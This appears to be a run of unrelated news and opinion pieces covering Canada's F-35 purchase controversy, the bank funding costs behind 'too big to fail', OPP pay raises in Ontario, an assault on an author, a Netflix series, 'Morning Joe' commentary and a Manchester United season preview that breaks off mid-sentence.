3/12: F-35 schedule & costs. Aviation Week’s Bill Sweetman takes a deep look into the Pentagon’s latest Selected Acquisition Reports, which was released on March 30/12. Some of the conclusions are very relevant to Canada’s choices:  “Another three-year slip to initial operational test and evaluation, the culmination of system development and demonstration, which now is due to be complete in 2019 – the target date is February but the threshold date is October… it appears that the main culprit is software and hardware, mainly in terms of… sensor fusion and emission control – that take place in the fighter’s main processor banks… In what follows, I’m going to use average procurement unit cost (APUC)… recurring flyaway is the lowest cost, but neither the US nor anyone else can put an aircraft on the ramp for that money. And all numbers are base-2012… The APUC for the F-35A in 2013-14 is $184-$188 million, versus $177m (2009 dollars) for the last F-22s. And that is at a much higher production rate.”  Most ominously for the F-35’s future cost structure:  “Although the basis of the numbers has been changed, the SAR still compares the F-35A with the F-16, and shows that the estimated CPFH [DID: Cost Per Flight Hour] for the F-35A has gone from 1.22 F-16s in the 2010 SAR to 1.42 today – versus 0.8 F-16s, which was being claimed a few years ago. Where is that operations and support money going to come from?”  March 20/12: Plan B? As Canada’s government gives conflicting signals about its F-35A commitment, and braces for a scathing Auditor General report about their pledged buy, other planes may get an opening:  ” The likeliest contenders, should there be a competition, are U.S.-based Boeing, maker of the F-18 Super Hornet, and Dassault of France, maker of the Rafale… “In our world we’re already in a competition,” one industry insider said. “(Associate Defence Minister) Fantino himself said we’re basically looking at our options. There’s a team at (Department of National Defence) looking at the market. So it’s already on.”  Despite this report, Canada’s considerable stockpile of American-made air-to-air and air-to-ground weapons adds huge additional switching costs to an already-expensive Rafale aircraft, and makes it a very unlikely challenger. Post Media.  March 15/12: Auditor General. Canada’s Auditor General is carving out a respected niche in Canadian politics, and that may be bad news for the F-35. The office is due to deliver a report on Canada’s F-35 plans by April 3rd, and a draft copy has been circulating. It reportedly says that the air force relied more or less exclusively on Lockheed Martin for all key pricing and performance assertions, even as government officials failed to follow procurement rules. Globe and Mail | Macleans magazine | National Post | Post Media | UPI.  March 13/12: If? Deputy defense minister Julian Fantino tells the House of Common Defence Committee that Canada has made no commitment to the F-35A, and uses the word “if” with respect to any proposed buy. While he maintains Canada’s interest in the aircraft, the comments are seen as a marked change in tone. A later release by Canada’s DND highlights Fantino’s March 16/12 CADSI speech, in which he affirms the industrial benefits of the F-35 program. Canadian Broadcasting Corp. | Globe and Mail | iPolitics.ca | Toronto Star | Reuters || Canada’s DND.  March 2/12: Canada hosts a meeting of international F-35 program partners in its Washington Embassy, to discuss the future of the program. Canada’s DND | Canadian Press | Post Media | Reuters. F-35 summit  2011  CF-18 ACES sim  (click to view full)  Nov 24/11: Norway’s costs. Norwegian MP Roger Ingebrigtsen [Troms, Labour Party], and Rear Admiral Arne Røksund, head of their Department of Defence Policy and Long-Term Planning, visit Canada. They respond to Canadian MP Christine Moore [Abitibi-Temiscamingue, NDP], who asks about Norway’s planned F-35 purchase:  “Mr. Roger Ingebrigtsen: It’s about $10 billion U.S. That’s for 51 or 52 air fighters. That’s $10 billion today… RAdm Arne Røksund: …The life cycle costs will be, I think, about–this is not public yet, so I have to be careful – $40 billion U.S. over 30 years. So that’s life cycle costs over 30 years, all included. Ms. Christine Moore: …So the $10 billion is simply to purchase the aircraft themselves. RAdm Arne Røksund: That is for the planes, initial logistics included, repair kits, and so on, for the first few years.”  The purchase figures are consistent with accounts of NOK 61 – 72 billion, but the 30-year sustainment costs are new. Ottawa Citizen Defence Watch.  Oct 28/11: Canada’s National Post reports that Canada’s F-35A purchase may not be a sure thing, even though the majority government could easily force the sale through. Excerpts:  “This minister has a knack for projecting blithe confidence. But in this instance he is increasingly offside with other members of the cabinet and with the Prime Minister’s Office, sources familiar with the situation say… Indeed in defence circles, it is believed that Julian Fantino was installed as under-minister in charge of procurement partly to offset MacKay’s tendency to defer to the senior military brass… “The reaction is, where’s the competition, where’s the bidding, and what do you mean you don’t know the price?” acknowledges Senator Colin Kenny, former chair of the Senate defence committee and a strong proponent of the F-35… there are three elephants in the room…”  One is Canada’s 20-year, C$ 33 billion national military shipbuilding strategy, which is politically untouchable. The 2nd and 3rd issues refer to the effect of a possible slowdown and/or cut of F-35 buys in America and in Europe, which would raise the price for Canada’s planes. Our analysis: it’s too early to call Canada’s F-35 deal into serious question. On the other hand, if these reports are true, it’s no longer the sure thing that it seemed to be when Prime Minister Harper won his majority government.  Oct 23/11: Communications frozen? A Global TV News article reveals that the F-35 will have issues communicating during arctic patrols, because its satellite communications capability will be worse than the current CF-18 fleet’s when it’s delivered:  “Military aircraft operating in the high Arctic rely almost exclusively on satellite communications… The F-35 Lightning will eventually have the ability to communicate with satellites, but the software will not be available in the initial production run, said a senior Lockheed Martin official, who spoke on background… It is expected to be added to the aircraft when production reaches its fourth phase in 2019, but that is not guaranteed because research is still underway.”  Sept 6/11: CF-18 Sims. L-3 Link Simulation & Training announces a foreign military sale contract through US NAVAIR’s Training Systems Division, to upgrade Royal Canadian Air Force (RCAF) CF-18 flight simulators located at Cold Lake, AB; Bagotville, PQ; and Ottawa, ON. The contract’s value was not disclosed.  L-3 Link is the original supplier for Canada’s 6 existing CF-18 Air Combat Emulators (ACEs), and 10 CF-18 Part Task Trainers, plus instructor/operator stations and brief/debrief systems. They will be upgraded with the latest F/A-18 training system capabilities, creating a common F/A-18 training solution with the U.S. Navy and U.S. Marine Corps’ Tactical Operational Flight Trainers. Key upgrades to the trainers will include a new photo-texture visual system database, and enabling the Mission Operation Center to conduct multi-plane training. The CF-18 training systems will also include Canada-specific modifications.  Aug 31/11: CF-18 support. Canada adds up to C$ 111 million (currently around $112 million) to its CF-18 Primary Air Vehicle contract with L-3 Military Aviation Services (L-3 MAS), converting the previous arrangement to a full Optimized Weapon System Support program. The contract breaks down as another C$ 80 million to 2017 in the base contract (now C$ 547 million), plus a set of extension options that could extend the additional work out to 2020 and raise the total by C$ 111 million, taking the overall contract to C$664 million (currently $676 million). OWSS adds new items to the previous contract’s list of maintained components (vid. Sept 1/10), consolidating them under this 1 contract, but doesn’t change contract length or other particulars. Public Works Canada | L-3 MAS [PDF]. CF-18 support extensions  May 2/11: Election. Canada’s Conservative Party wins an election forced by the opposition parties, and ends a string of minority Parliaments by taking 167 seats and gaining a Parliamentary majority. The structure of the Canadian system ensures nearly complete party discipline. The Prime Minister can refuse to sign the nomination papers for any party candidate, forcing them to run as an independent or quit. Canada also requires whole-party leadership conventions to remove a party leader or Prime Minister, as opposed to the British tradition where it can be done by a majority of party MPs. In other words, Canada will buy any jet the Prime Minister approves. That means the F-35A. CBC Election Day coverage. Majority government  DND shoots back  (click to view larger)  March 10-21/11: As Canada’s upgraded CF-18s join allied operations over Libya, Canada’s government and Department of National Defence exchanges fire with the Parliamentary Budget Officer over the F-35 report, in the media and via detailed statements. Bottom line? Both parties are standing firmly by their figures. The Canadian DND’s F-35 mini-site includes release and comparison of figures table, among others. See also PBO’s detailed rebuttal [PDF] | Macleans magazine | Ottawa Citizen’s “Let’s be honest about the price tag on those planes“, written by the person who signed the F-35 Phase 2 MoU on Canada’s behalf.  March 10/11: PBO F-35 report. Canada’s Parliamentary Budget Officer releases its independent report on the F-35 buy. Its conclusion: that the government’s figures for buying and maintaining the plane were based on essentially no research, and that instead of costing $16 billion ($9 billion to buy 65, and $7 billion for 20 years of operations and maintenance at $350M/year), the total will be more like $29.3 billion. They forecast $9.7 billion or more for 65 fighters, plus $19.6 billion in operations and maintenance over 30 years ($1.7 billion initial logistics and setup, $14 billion O&M, plus $3.9 billion upgrades & overhaul over 30 years, or about $650M/year). That works out to a total package cost of about $450.75 million per fighter over 30 years, exclusive of weapons and other ancillaries. This passage was especially interesting, with implications well beyond the F-35, or Canada: “There has been an exponential increase in the cost to manufacture one kilogram of fighter jet over the last six decades. This cost has risen from under US$ 1,000/kg in 1950 to approximately US$ 10,000/kg today (both in 2009 dollars). This represents a real [DID: inflation-adjusted] annual rate of increase of approximately 3.5%. During the same period, the average weight of jet fighter aircraft has increased by about 0.5% per year. Given this, the cost of fighter aircraft has increased 4% per year in real terms since 1950 – doubling roughly every 18 years.” The report’s impact is magnified in 3 ways. One is that it states that its own purchase and maintenance figures are likely to be revised upward if its 75% confidence level fails, based on program trends and official reports from the USA, as well as elimination of the competitive dual-engine program. The 2nd is that an election is now imminent in Canada, and the F-35 purchase is a key source of differences between the minority Conservative Party government and its opposition parties. On the flip side, Parliament’s dissolution will end opposition attempts to see the program’s statement of operational requirements justifying the F-35’s sole-source choice, which was classified by the DND in 2010, around the time the F-35 became a major political controversy. The 3rd factor is that the report was peer reviewed by a panel of experts that included the US Congressional Budget Office and Australian Strategic Policy Institute. The unintended result of that peer review has been wider publicity and impact around the world. “An Estimate of the Fiscal Impact of Canada’s Proposed Acquisition of the F-35 Lightning II Joint Strike Fighter” | Liberal Party release and pre-election ad | CTV News | Globe & Mail | Postmedia’s Canada.com | SunMedia’s Canoe | Aviation Week. C$ 29.3 billion?  Jan 6/11: As part of a plan detailing $150 billion in service cuts and cost savings over the next 5 years, Defense Secretary Robert Gates states that he is placing the Marine Corps’ F-35B on the equivalent of a 2-year probation, extends the program’s development phase again to 2016, and cuts production of all models over the 2012-2016 time period, including 47 fewer F-35As. During the low-rate initial production phase, cuts in the number bought mean that the price for each plane doesn’t drop as quickly, making purchases more expensive. Canada’s DND responds directly to these changes, saying:  “Canada is not purchasing the STOVL variant. Canada will order the conventional take off and landing (CTOL) variant, which is the lowest-cost option that the majority of JSF partners will also acquire. The CTOL variant is progressing very well. Canada does not anticipate the announcement by the US Government regarding the STOVL variant will affect the schedule or cost of Canada’s Joint Strike Fighter Program.”  See also: Pentagon release re: overall plan | Full Gates speech and Gates/Mullen Q&A transcript | F-35 briefing hand-out [PDF] || Aviation Week | Fort Worth Star-Telegram’s Sky Talk blog.  2010  F-35A  (click to view larger)  Oct 14/10: CF-18 support. The Canadian government has contracted Calgary-based Harris Canada Inc. to continue avionics and electronics maintenance of its CF-18 fighter jets, until their replacements are ready to fly. The contract is worth up to C$ 273.8 million (currently at rough parity with American dollar) until 2020, and covers nearly 2,300 components.  It is more focused than the larger L-3 MAS contract (q.v. Sept 1/10), which covers the entire aircraft, but it’s a similar sort of extension. Public Works Canada | Canadian Press | The Globe and Mail.  Sept 20/10: According to 2009 Defence Department documents obtained by the Ottawa Citizen, Canadian officers working on the Next Generation Fighter Capability project called for a “competitive process” for both the aircraft and the long-term maintenance contract. The aircraft competition was to be run in 2010, with a contract to be awarded by 2012, aircraft delivery in 2015-16, and operational fighters between 2018 – 2023. The revelations will place further pressure on the Conservative government to justify their sole-sourcing decision, which has become the crux of a political controversy. Postmedia News via Montreal Gazette.  Sept 15/10: Hearings begin in Parliament, as the Standing Committee on National Defence calls witnesses to discuss the F-35. SCND/NDDN page | Canadian Press, via Winnipeg Free Press | CBC | CTV News (incl. video) | The Globe and Mail | Postmedia interview with Public Works Minister Rona Ambrose | Toronto Sun.  Sept 12/10: Sitting MP Laurie Hawn [Cons – AB – Edmonton Centre] will be an important voice in the upcoming Parliamentary fighter debate. He’s a former CF-18 pilot. Postmedia, via Montreal Gazette.  Sept 1/10: CF-18 Support. Canada needs to keep its existing fleet flying, and that cost money, too. A late F-35 means a longer set of support contracts, and so the Prime Minister’s Office announces the extension of its CF-18 Systems Engineering Support Contract to L-3 Communications MAS of Mirabel, Quebec, until at least 2017. This 7-year contract extension is valued at C$ 467 million, and 3 additional 1-year extension optionscould add another C$ 86 million (C$ 553 million total). the options would also stretch the contract until the end of the fleet’s estimated service life in 2020. The contractor’s primary responsibility for the CF-18 Hornet fleet is development and maintenance work that includes mission software, structural testing, depot-level inspections and repairs, technical support teams, and other engineering services. In addition to their Canadian maintenance work, they’ve also been involved in Australia’s HUG [PDF] Hornet upgrade and life-extension program. Canadian PMO | L-3 MAS [PDF] | CBC | National Post. CF-18 support  July 16/10: Sole-source F-35, eh? Canada’s Conservative Party government declares that it will buy the F-35A, without a competitive process. The jets would begin to enter service around 2016, and the initial budget is C$ 9 billion for 65 F-35 aircraft and associated weapons, supporting infrastructure, initial spares, training simulators, contingency funds and project operating costs. That budget has not been confirmed by an actual contract, however, something that reportedly led to unpleasant surprises when Canada bought C-130Js from Lockheed Martin. DND statements indicate that an F-35 contract would not be negotiated until about 2014-2015. The government’s defense of its decision revolves around economic and industrial benefits: “To date, Canada has invested approximately CAD$168 million in the JSF program. Since 2002, the Government’s participation in the JSF program has led to more than CAD$350 million in contracts for more than 85 Canadian companies, research laboratories, and universities – meaning that Canada has already seen a two-to-one return on its investment. Now that Canada has committed to purchasing the F-35, Canadian industrial opportunities could exceed CAD$12 billion for the production of the aircraft. Sustainment and follow-on opportunities for Canadian industry are emerging and will be available over the 40-year life of the program. For instance, in accordance with the industrial participation agreements, all 19 Canadian companies manufacturing items for the F-35 will also repair and overhaul those components for the entire global fleet.” The government needs that defense. They’re a minority government, and the opposition Liberal Party objects to the lack of competition and the cost. The Liberals are promising to freeze the agreement if they take power, and an election will be due by 2013 at the latest. This sort of thing has happened before, when an incoming Liberal government froze Canada’s EH101 helicopter contract, leading to a 20 year delay in fielding Sea King replacements. See: DND backgrounder | DND release | Lockheed Martin | Magellan Aerospace | Canadian Press (CP) | CTV TV | Toronto Star | Winnipeg Free Press re: local industry | BBC | NY Times | Reuters || Political angle: CBC | National Post | Toronto Star. F-53A, yes. Competition, no.  June 11/10: The Globe & Mail newspaper reports the contents of secret documents it has acquired related to Canada’s F-35 purchase. For starters, the purchase price is expected to reach C$ 16 billion once 20 years of maintenance are factored in. The report adds:  “According to secret cabinet documents obtained by The Globe and Mail, officials are well aware that any move to open up the process to a competition could push the manufacturers of rival jets, such as the Boeing Super Hornet and the Eurofighter Typhoon, to lower their prices. In addition, the government is expecting a “negative reaction” to the fact that the contract is set to be awarded without a competition… One of the government’s major arguments is that a competition could hurt Canada’s reputation among the other countries that have been involved in Lockheed-Martin’s massive Joint Strike Fighter (JSF) program since the 1990s…”  June 7-8/10: Canadian media reports indicate that the government is about to launch single-source negotiations to buy up to 65 F-35A fighters, at a cost of about C$ 9 billion. The government says that its rationale is to “lock up the cost,” but the jet’s maintenance costs would be a moving target. Canada had a similar experience with Lockheed Martin and maintenance costs when it sole-sourced its C-130J buy.  The move is politically controversial, to the point that the topic was removed from the cabinet committee on economic growth’s June 9 agenda, then reinstated. CP | The Globe and Mail | The Globe and Mail re: controversy | Winnipeg Free Press | UPI.  Jan 4/10: Reporter David Pugliese’s sources say that Canada’s Harper government, which is currently running a $55 billion deficit, is not moving to start the CF-18 replacement program, or to make a sole-source commitment to Lockheed Martin’s F-35. Boeing, which has a substantial industrial presence in Canada, continues to lobby for a competition.  According to Canadian Air Force documents, any competition needs to start no later than 2010. That allows a contract with the winning aircraft manufacturer to be signed by 2012, in order to receive initial deliveries in 2015-2016, and reach initial operating capability in 2018. That would be 38 years after the F/A-18 Hornet won Canada’s last fighter competition, and 36 years after initial Hornet deliveries. Under this timeline, full operating capability for the Hornet’s successor would be achieved by 2023.  2009 and Earlier  Sniper pod on CF-18  (click to view full)  Oct 8/09: Canada’s Ottawa Citizen newspaper reports that Boeing has stepped up its lobbying to create a competition:  “Some DND officials are concerned that a competition would drag on for too long and because of that Canada would not have new fighter aircraft in place when the current fleet of CF-18s is ready to be retired starting in 2017. But representatives with U.S. aerospace firm Boeing are arguing that it makes more sense to hold a competition and let the best aircraft win. It has been involved in meetings with defence officials. In addition, Canadian industry representatives who support Boeing have approached government officials to question the idea of a sole-source deal.”  Aug 22/09: Canada’s Ottawa Citizen newspaper reports that the government is preparing a presentation to cabinet for approval of a sole-source, multibillion deal to to buy 65 F-35s, even though military leaders had earlier claimed that a competitive process would be followed in any replacement of Canada’s F/A-18A/B Hornets.  The Ottawa Citizen cites Lockheed Martin officials who say they expect Canada to make its decision over the next 12 months. Canada is currently a JSF Tier 3 member, who has committed $150 million to the project thus far. Meanwhile, officials from Boeing (F/A-18 E/F Super Hornet) and Gripen International (JAS-39NG) are interested in competing for Canada’s follow-on order.  Dec 11/06: F-35 Production MoU. In a ceremony at the Pentagon in Washington, DC, Canada’s Department of National Defence formalizes their continued partnership in the F-35 Lightning II Joint Strike Fighter program. Canada was the 2nd of 8 partner nations to sign the MoU for the Production, Sustainment and Follow-on Development phase. The Department of Industry also signed MoUs with Lockheed Martin Aeronautics, Pratt & Whitney and the GE Rolls-Royce Fighter Engine Team. The Canadian Department of National Defense had this to say regarding the F-35’s status as the follow-on to its current CF-18 (F/A-18A) fighter fleet: “While participation in this next phase does not commit the Department to purchasing the multi-role aircraft, it is helping to define and evaluate DND’s future requirements for the next generation of fighter aircraft to replace the CF-18 and its capabilities. It is also contributing to improved interoperability between Canadian, American and allied forces and is enhancing the competitiveness and technological capability of Canada’s aerospace sector.” See: DID coverage | Pentagon DefenseLINK | Canada’s DND: release | Canada’s DND: Backgrounder. F-35 Production MoU  Additional Readings  The Program  The Fighters  Competitive Possibilities  Official Reports/ Presentations  News & Views
-Phillip Swagel is a professor at the School of Public Policy at the University of Maryland and was assistant secretary for economic policy at the Treasury Department from 2006 to 2009.  In the years leading up to the financial crisis, market participants assumed that policy makers would intervene to avoid the potential negative economic impact from the failure of a systemically important bank. As William C. Dudley, the president of the Federal Reserve Bank of New York, discussed in a recent speech, the belief that some companies were too big to be allowed to fail gave rise to a variety of problems, notably including a situation of moral hazard that encouraged risky bets by market participants who figured they could keep the upside but have their losses covered by taxpayers.  Today's Economist Perspectives from expert contributors.  And indeed, when things went wrong during the crisis, the interventions materialized, as detailed in a recent report by the Government Accountability Office.  The Dodd-Frank financial regulatory reform law of 2010 and regulatory changes since the crisis have affected the incentives for both companies and investors, but it is too soon to say that the advantages and risks of large banks have been addressed or that the era of too big to fail is over. We will not really know until the next time a large bank is on the verge of collapse.  In the meantime, one way to glean information on whether investor perceptions of the potential for future bailouts have changed is to compare the funding costs of large banks relative to small banks.  In an insightful new paper, Randall S. Kroszner of the University of Chicago’s Booth School of Business, a former governor of the Federal Reserve, does just that. Professor Kroszner’s paper was supported by the Clearing House Association, an organization of large banks (I was a member of the association’s now-defunct academic advisory council and a former colleague of Professor Kroszner’s when he served as a member appointed by President George W. Bush at the White House Council of Economic Advisers, but was not involved in the preparation or review of his research).  Professor Kroszner reviews a variety of evidence that suggests that one manifestation of too big to fail before the financial crisis was that large banks could obtain funds with which to make loans and other investments at a lower cost than smaller companies whose demise would not motivate an extraordinary government response.  Not every piece of evidence fits this conclusion – it could be the case, for example, that large companies in every industry have lower costs than smaller ones – and estimates of the magnitude of the pre-crisis funding advantage differ across studies. But the overall conclusion that large banks had a funding advantage suggests an implicit government subsidy from the expectation of government action to support large banks.  Perhaps the best-known effort to quantify this support is the calculation by the editors of Bloomberg View of an $83 billion annual subsidy to the 10 largest United States banks, reflecting a supposed funding advantage of around 0.8 percentage points from the implicit government support multiplied by those companies’ huge liabilities (that is, the money with which they fund their activities).  Small banks tend to rely on deposits for their funding, along with advances from the Federal Home Loan Banks to support mortgage lending; larger institutions rely more heavily on bonds and other capital market sources. There is moral hazard involved with banks of all sizes, because deposits are covered by the Federal Deposit Insurance Corporation, which means that most depositors know that they will not take losses if a bank fails.  But this insurance is explicit and paid for, as opposed to the after-the-fact and unpaid bailout received by bondholders who did not suffer losses because of government interventions.  In a sense, the most unfair bailouts during the crisis were not of banks themselves, but of their bondholders – the investors who provided the funding for the bad lending decisions. Shareholders at Bear Stearns, Fannie Mae, Freddie Mac and the American International Group took sizable losses, but the owners of the bonds of these companies received 100 cents on the dollar as a result of government actions to stabilize the financial system. As I have written elsewhere, these actions were necessary and appropriate, but bailouts nonetheless.  Three important changes made since the financial crisis affect the funding costs of large banks in a way that suggests a reduced government subsidy and a move toward a level playing field with institutions that are not viewed as too big to fail.  The first change is that the resolution authority in Title II of Dodd-Frank gives government officials the power to take over troubled large financial companies and impose losses on bondholders and other funders in a way that was not previously possible. (Until the advent of the Troubled Asset Relief Program, or TARP, the power to stabilize failing companies was limited to the bank subsidiaries of large financial companies but did not encompass other components such as broker-dealers; government officials thus did not have the authority to take over Lehman Brothers, for example.)  Indeed, Title II requires that any losses from a future government intervention must be borne by private market participants, including bondholders.  Investors contemplating the purchase of large bank bonds should understand that they will take losses rather than get a guarantee in the next crisis. This, in turn, should affect funding costs in normal times and reduce the advantage of large banks. It is hard to know if the resolution authority will work as planned (the government agencies involved are still devising the rules), but there is some evidence that the advent of the new law has reduced the perceived likelihood of future bailouts. As Professor Kroszner notes, the three major credit ratings agencies cite the resolution authority as a factor behind their view of a lower likelihood of future government support for large banks.  The second change is that banks must now pay insurance premiums to the F.D.I.C. on their nondeposit sources of funds, even though these borrowings are not covered by the federal guarantee and would take losses under Dodd-Frank Title II. The idea is that deposits tend to be more stable than bonds and other capital market borrowings, so charging banks for using these latter sources of funds provides an incentive against financial system volatility. With large banks the heaviest users of such borrowed money, this effectively moves in the direction of a level playing field with smaller banks.  Finally, the largest banks are required to fund themselves with more capital than smaller banks under the Basel III capital rules and to maintain larger amounts of readily liquid assets. These provisions reflect the desire by policy makers to strengthen the ability of systemically important financial institutions to withstand losses, including in a future financial crisis.  Capital surcharges and heightened liquidity requirements for large banks improve the stability of the financial system, while again moving in the direction of less support for large banks and increased costs relative to smaller ones.  There is evidence that the new regulations are making a difference. An analysis of stock market returns and the cost to insure bank bonds against default indicates that major steps forward in devising financial regulations, such as the Volcker Rule in the United States, resulted in reduced market expectations of future bailouts.  Bond investors, for example, required more compensation to lend to banks as the Dodd-Frank reforms moved forward, with the impact greater for large banks than small banks. In contrast, there was little effect from German financial reforms that were widely seen as ineffective. Bond markets appear to be paying attention to the implications of financial regulatory reform.  It is too soon to say that the changes put in place after the crisis have ended the expectation of government bailouts and the extent to which these changes reduced any implicit support for the activities of large banks.  Still, the situation has changed. The funding advantage of large banks over smaller ones used in the calculation of subsidies by Bloomberg and others is taken from data before the 2010 Dodd-Frank financial regulatory reform and other changes made in the wake of the crisis. Updated analysis would be useful to assess the impact of the post-crisis measures. Professor Kroszner’s paper provides recommendations for future researchers.  Government actions taken during the financial crisis to support large banks were important for stabilizing the financial system and supporting the overall economy. In other words, saving Wall Street was necessary to save Main Street. But the way in which this happened was a source of understandably deep frustration to many Americans (including to the policy makers who undertook the interventions). Reforms made since the crisis have changed the situation.  It is important now to evaluate just how much change has been made. This is a key requirement to know whether more steps are needed.
-The Ontario Provincial Police are the among province's finest, but now they're about to be ranked among its most expensive after an 8.55 per cent pay raise comes into effect this year, putting extra strain on already-stretched budgets of the 334 communities in Ontario that use the provincial police service.  The bump in salary follows a two-year wage freeze imposed on all public servants by the provincial government and puts the wages of a first-class OPP constable at $94,702, up from $87,240 in 2013. An OPP sergeant now makes $106,483 up from $98,093 last year.  "An OPP constable would be at the extreme top end of our municipal pay scale," Norfolk County Police Services Board Chair Peter Hellyer said, noting his community of 60,000 people is paying $1 million more for the same exact same police service it had last year, putting Norfolk's total police budget to $14 million.  "You don't really have any choice. It's the difference between having to pay and wanting to pay," he said. "Almost every police officer in Norfolk County will be on the 'sunshine list' this year, which means they'll make over $100,000 a year."  OPP salaries negotiated by the province  In Wellington County, Warden Chris White said his community is also struggling to make room in their budget for the extra $1.2 million needed to pay for the 120 OPP officers who patrol the area.  "It's a big chunk of dough," he said. "Municipalities' budgets are stretched across the board on everything. This is just one more item and in the case of Wellington County this is a large item."  White added his community pays $20 million dollars a year for OPP service. Wellington is among the 334 communities that use the provincial police force to keep the peace.  The communities negotiate their own contracts for police service, but how much each individual officer is paid is out of their control since it's negotiated by the province.  White said it's forcing his community to focus on what it can control when its contract with the OPP ends this year.  "We will be taking a good hard look at the number of officers because at the end of the day we can't control the wages, that's negotiated at the provincial level and this is a big, big chunk of our budget."  Union says cities had fair warning  While the 8.5 per cent raise for OPP officers is straining the balance books of some local governments, it doesn't come as a surprise, according to Jim Christie, the President of the Ontario Provincial Police Association.  "It is obviously is a large salary increase, which the municipalities would be rightly concerned about," he told The Morning Edition host Craig Norris Friday, "this pay increase has been well-documented and well-explained to the municipalities."  "They would know they would have to plan for this."  OPP officers were among the thousands public servants working for the province who had their wages frozen for two years under Premier Dalton McGuinty, when his government attempted to bring in a regimen of fiscal restraint in 2010.  "We accepted zero per cent pay increases for 2012 and 2013 with an understanding that in 2014, which we're seeing now, the OPP officers and civilian members would be brought back up to a level, but not a penny more, of the highest paid police service in Ontario," Christie said.  "It's like buying a TV at Leon's or the Brick. You know, they bought it. The payments have been deferred for three years and now it's time to bring our officers back up to the level they should be."
-A Canadian author was dragged from his bike, tied to a tree and beaten unconscious after publishing a book critical of Islam.  Paris Dipersico was tied to a tree and beaten for writing an anti-Islam book. The Toronto Sun said this may qualify as a hate crime. (Ya think?)  CNews reported, via Free Republic:  Halton police are treating an attack on a first-time author whose self-published book has been branded anti-Muslim as a possible hate crime.  Raised Islamic, Paris Dipersico, 24, reported being dragged from his bicycle Aug. 17, tied up among trees, then beaten briefly unconscious by two Muslim men.  Accused of being gay, they then “called me a Jew in Arabic and said the Jews are paying you to write this against Islam,” the author of Wake Up Call said Thursday.  Dipersico said he also received a “death threat” on his Facebook site, then someone stole files and backup writing discs after breaking into the home he shares with cousin Gabrielle Dipersico — who helped design the book and whose photo is on the cover.  Believing the threat came “from the Middle East,” he said it demanded he remove offensive language.  After treatment for cuts and bruises, Dipersico said on his publisher’s advice, “I’m taking out some of the graphically sexual stuff,” but not the rest.
-Hi everyone, Bryan Here….  More ‘Wet Hot American Summer‘ is coming to Netflix in 2017 with eight new episodes, and is subtitled ‘Ten Years Later‘. I guess they are really going to abide by that scene in the original film where everyone discusses meeting back up ten years later, and then trying to actually schedule a time and date. It was pretty funny. This last series of episodes was entitled ‘First Day of Camp‘ where the original film was set on the last day of summer camp.  I was guessing that each new season would be the following day, making a potential 45 seasons, but I digress. So if the first day of camp was set in 1981, then this should take place in 1991, which should have a whole new feel, look, wardrobe, and music. You can watch the entire scene of the discussion below. Michael Showalter and David Wain will be back again as writers for ‘Ten Years Later‘ with Wain directing again. There is no casting information yet, but I expect everyone to be back once again, along with a ton more cameos and new characters.  I hope they all come back ten years later for a reunion camp counselor retreat in which we still see the can of vegetables still giving advice and an amazing Paul Rudd entrance. Expect Paul Rudd, Janeane Garofalo, David Hyde Pierce, Christopher Meloni, Michael Ian Black, Elizabeth Banks, Amy Poehler, Bradley Cooper, Zak Orth, and Judah Friedlander to be back. Looking forward to this.
-Mika Brzezinski's "due process" remarks begin at the 1:43 mark in the video above  On Monday, “Morning Joe” came to the defense of Rep. John Conyers (D – Michigan), who is facing pressure to resign from Congress after news emerged that he settled a 2015 sexual harassment claim from a female staffer.  The woman said she was fired after declining Conyer’s sexual advances.  However, co-host Mika Brzezinski called for “due process” rather than a hasty rush to judgment about the veteran politician, who has served in the U.S. House since 1965.  Also Read:Mika Brzezinski Blasted for Sounding Alarm on Harassment as 'Morning Joe' Regulars Drop Like Flies  “I think it’s really important that the words due process have come up in this conversation,” said Brzezinski. “This one breaks my heart. It really does.”  Joe Scarborough agreed.  “How shocking, the word ‘due process’ actually enraged some people yesterday,” said Scarborough, referencing an interview given by House Minority Leader Nancy Pelosi, who also referred to the congressman as an “icon.”  Scarborough and Brzezinski also cited the 88-year-old congressman’s age as a mitigating factor.  Also Read:'Morning Joe' Blasts Bill Clinton Sex Scandals: 'This Is Why We Have Trump' (Video)  The sudden legal parsing from the “Morning Joe” team stands in stark contrast to many on the network who have brushed aside legal trivialities.  Nicolle Wallace, another MSNBC anchor and sexual-harassment Robespierre, has bluntly said she has no interest in the denials of men or any pretense of innocence until proven guilty.  “There won’t be a trial. This is not a criminal situation,” she said earlier this month of the accusations of sexual misconduct against Alabama senate candidate Roy Moore. “We don’t wait for a preponderance of facts, we don’t wait for more evidence. You either believe the women or you don’t.”  Also Read:Roy Moore Accuser Leigh Corfman Blasts Critics of Her Long Silence: 'I Did Tell People' (Video)  Moore, like Conyers, has denied the allegations him.  In recent days, the growing web of sexual harassment allegations in media, politics and entertainment has his “Morning Joe” hard, felling show regular Mark Halperin and — for now — sidelining New York Times reporter Glenn Thrush, who had been a frequent contributor.  You can watch the full passionate Conyers defense above.  Related stories from TheWrap:  Mika Brzezinski Blasted for Sounding Alarm on Harassment as 'Morning Joe' Regulars Drop Like Flies  'Morning Joe' Blasts Bill Clinton Sex Scandals: 'This Is Why We Have Trump' (Video)  'Morning Joe' Promises 'Generation of Fear' for Men as More Women Speak Out (Video)  'Morning Joe' Trolls Trump on Water Bottle Use: 'You Gotta Have Really Big Hands'
-Guardian writers’ predicted position: 4th (NB: this is not necessarily Jamie Jackson’s prediction, but the average of our writers’ tips)  Last season’s position: 7th  Odds to win the league (via Oddschecker): 5-1  King Louis, The Iron Tulip, Manchester United’s saviour. A more appropriate moniker for Louis van Gaal would be ‘the man with broad shoulders’. The Dutchman certainly has a pair and is not bashful of telling everyone about them and that there is also chutzpah, brains and a healthy ego on offer, too.  All of these qualities are required as Van Gaal surveys a squad that still has worrying holes in it ahead of a season in which the team could struggle again. The challenge before Van Gaal is to fix the mess left by David Moyes’s doomed tenure and somehow transform last term’s seventh-place failures to Champions League qualifiers.  This would represent success and the 63-year-old is aware even this will be difficult. United’s players are lining up to claim a 21st title can be won but their manager is markedly not. Van Gaal would never say it publicly but fourth place will do just fine at the close of his inaugural campaign.  Can it happen? The jury remains out until the close of the transfer window as the executive vice-chairman, Ed Woodward, continues the quest to recruit two central defenders, a central midfielder, and at least one player who can play wing-back. The bottom line is that choosing which of Manchester City, Chelsea, Liverpool and Arsenal United can replace is tricky as all have bolstered their ranks impressively this summer.  Louis van Gaal and his new charges. Photograph: guardian.co.uk  The Old Trafford faithful will hope that having no European football will allow United to focus on the league as Liverpool did last year. And that as Brendan Rodgers’ side are now in the Champions League they are one candidate to drop out of the elite four, with the loss of Luis Suárez proving a significant blow. Yet Rodgers has added seven new faces, can draw 